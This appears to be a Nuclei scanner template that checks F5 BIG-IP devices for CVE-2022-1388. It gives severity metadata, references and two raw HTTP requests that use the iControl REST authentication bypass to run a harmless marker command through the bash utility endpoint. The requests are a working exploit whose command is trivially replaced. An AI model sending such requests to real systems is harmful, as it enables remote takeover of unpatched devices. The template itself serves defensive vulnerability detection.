id: CVE-2022-1388

info:
  name: F5 BIG-IP iControl - REST Auth Bypass RCE
  author: dwisiswant0,Ph33r
  severity: critical
  description: |
    F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability.
  reference:
    - https://twitter.com/GossiTheDog/status/1523566937414193153
    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
    - https://support.f5.com/csp/article/K23605346
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
    - https://www.secpod.com/blog/critical-f5-big-ip-remote-code-execution-vulnerability-patch-now/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1388
    cwe-id: CWE-306
    epss-score: 0.97334
    epss-percentile: 0.99869
    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: f5
    product: big-ip_access_policy_manager
    shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
  tags: cve,cve2022,f5,bigip,rce,mirai,kev
variables:
  auth: "admin:"
  cmd: "echo CVE-2022-1388 | rev"

http:
  - raw:
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: localhost
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "commandResult"
          - "8831-2202-EVC"
        condition: and
# digest: 4a0a00473045022100b34a9384947423d3a20229565dcd3bb3dcd8e38f4d1ef26816934508d776135302206bb2520af7f1b4e2ed3d866e078a1c8543bbe7e3f127718d1783a43087e65605:922c64590222798bb761d5b6d8e72950